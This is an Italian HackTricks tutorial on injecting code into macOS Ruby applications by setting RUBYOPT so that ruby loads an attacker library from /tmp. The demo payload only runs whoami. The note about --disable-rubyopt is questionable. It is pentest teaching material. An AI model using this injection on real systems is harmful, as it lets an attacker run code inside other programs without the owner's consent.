macOS Ruby Applications Injection

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

RUBYOPT

Utilizzando questa variabile di ambiente è possibile aggiungere nuovi parametri a ruby ogni volta che viene eseguito. Anche se il parametro -e non può essere utilizzato per specificare il codice ruby da eseguire, è possibile utilizzare i parametri -I e -r per aggiungere una nuova cartella al percorso di caricamento delle librerie e quindi specificare una libreria da caricare.

Crea la libreria inject.rb in /tmp:

inject.rb
puts `whoami`

Crea ovunque uno script ruby come:

hello.rb
puts 'Hello, World!'

Quindi crea uno script ruby arbitrario e caricalo con:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

Fatto divertente, funziona anche con il parametro --disable-rubyopt:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated